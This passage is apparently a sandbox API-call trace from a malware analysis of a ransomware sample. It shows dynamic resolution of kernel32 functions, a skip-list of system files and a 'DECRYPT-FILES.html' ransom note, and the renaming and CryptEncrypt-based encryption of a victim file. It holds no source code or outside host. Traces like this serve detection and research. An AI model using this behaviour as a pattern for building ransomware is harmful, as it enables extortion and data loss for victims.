returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0119.616] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0119.616] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0119.616] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0119.616] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0119.616] lstrlenA (lpString="COPYCONTEXT") returned 11 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0119.616] lstrlenA (lpString="COPYFILE2") returned 9 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0119.616] lstrlenA (lpString="COPYFILEA") returned 9 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0119.616] lstrlenA (lpString="COPYFILEEXA") returned 11 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0119.616] lstrlenA (lpString="COPYFILEEXW") returned 11 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0119.616] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0119.616] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0119.616] lstrlenA (lpString="COPYFILEW") returned 9 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0119.616] lstrlenA (lpString="COPYLZFILE") returned 10 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0119.617] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0119.617] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0119.617] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0119.617] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0119.617] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0119.617] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0119.617] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0119.617] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0119.617] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0119.617] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0119.617] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0119.617] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0119.617] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0119.617] lstrlenA (lpString="CREATEEVENTA") returned 12 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0119.617] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0119.617] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0119.617] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0119.618] lstrlenA (lpString="CREATEEVENTW") returned 12 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0119.618] lstrlenA (lpString="CREATEFIBER") returned 11 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0119.618] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0119.618] lstrlenA (lpString="CREATEFILE2") returned 11 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0119.618] lstrlenA (lpString="CREATEFILEA") returned 11 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0119.618] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0119.618] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0119.618] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0119.618] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0119.618] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0119.618] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0119.618] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0119.618] lstrlenA (lpString="CREATEFILEW") returned 11 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0119.618] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0119.618] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0119.618] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0119.618] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0119.618] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0119.619] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0119.619] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0119.619] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0119.619] lstrlenA (lpString="CREATEJOBSET") returned 12 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0119.619] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0119.619] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0119.619] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0119.619] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0119.619] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0119.619] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0119.619] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0119.619] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0119.619] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0119.619] lstrlenA (lpString="CREATEPIPE") returned 10 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0119.619] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0119.619] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0119.619] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0119.620] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0119.620] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0119.620] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0119.620] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0119.620] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0119.620] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0119.620] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0119.620] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0119.620] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0119.620] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0119.620] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0119.620] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0119.620] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0119.620] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0119.620] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0119.620] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0119.620] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0119.621] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0119.621] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0119.621] lstrlenA (lpString="CREATETHREAD") returned 12 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0119.621] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0119.621] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0119.621] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0119.621] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0119.621] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0119.621] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0119.621] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0119.621] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0119.622] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.ncPIn") returned 50 [0119.622] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.ncPIn" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.ncpin"), dwFlags=0x0) returned 1 [0119.622] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.623] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.623] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.623] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0119.623] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0119.623] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0119.624] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0119.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0119.624] lstrlenW (lpString="SetupResources.dll") returned 18 [0119.624] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1031\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0119.624] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" [0119.624] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.624] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0119.624] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18776) returned 1 [0119.624] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0119.625] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0119.794] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0119.794] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0119.794] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.795] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0119.795] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0119.796] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.796] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0119.796] CloseHandle (hObject=0x5f8) returned 1 [0119.796] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.796] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0119.797] CloseHandle (hObject=0x0) returned 0 [0119.797] CloseHandle (hObject=0x5f4) returned 1 [0119.798] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.799] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.799] GetTickCount () returned 0x33615 [0119.799] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.799] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0119.799] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0119.800] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.800] lstrlenA (lpString="kernel32.dll") returned 12 [0119.800] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0119.800] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0119.800] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0119.800] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0119.800] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0119.800] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0119.800] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0119.800] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0119.801] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0119.801] lstrlenA (lpString="ADDATOMA") returned 8 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0119.801] lstrlenA (lpString="ADDATOMW") returned 8 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0119.801] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0119.801] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0119.801] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0119.801] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0119.801] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0119.801] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") 